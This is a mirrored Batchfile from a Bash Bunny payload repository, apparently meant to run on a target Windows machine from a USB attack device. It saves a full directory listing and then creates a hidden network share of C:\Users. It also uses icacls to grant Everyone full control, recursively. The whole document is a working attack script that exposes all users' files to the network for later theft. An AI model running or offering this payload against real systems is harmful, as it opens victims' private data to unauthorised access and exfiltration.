mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
9 lines
423 B
Batchfile
9 lines
423 B
Batchfile
ECHO off
|
|
REM gather the system file structure
|
|
mkdir c:\Users\tempa
|
|
tree /a /f > c:\Users\tempa\tree.txt
|
|
|
|
REM creates a hidden share syntax(net share <sharename>=<sharelocation> /grant:<user>,<permission>)
|
|
net share nless$=C:\Users /grant:Everyone,full
|
|
REM creates security permissions for the shared folder syntax(icacls <sharedlocation> /grant <user>:<permissoons> /T
|
|
icacls "C:\Users" /grant Everyone:(OI)(CI)F /T |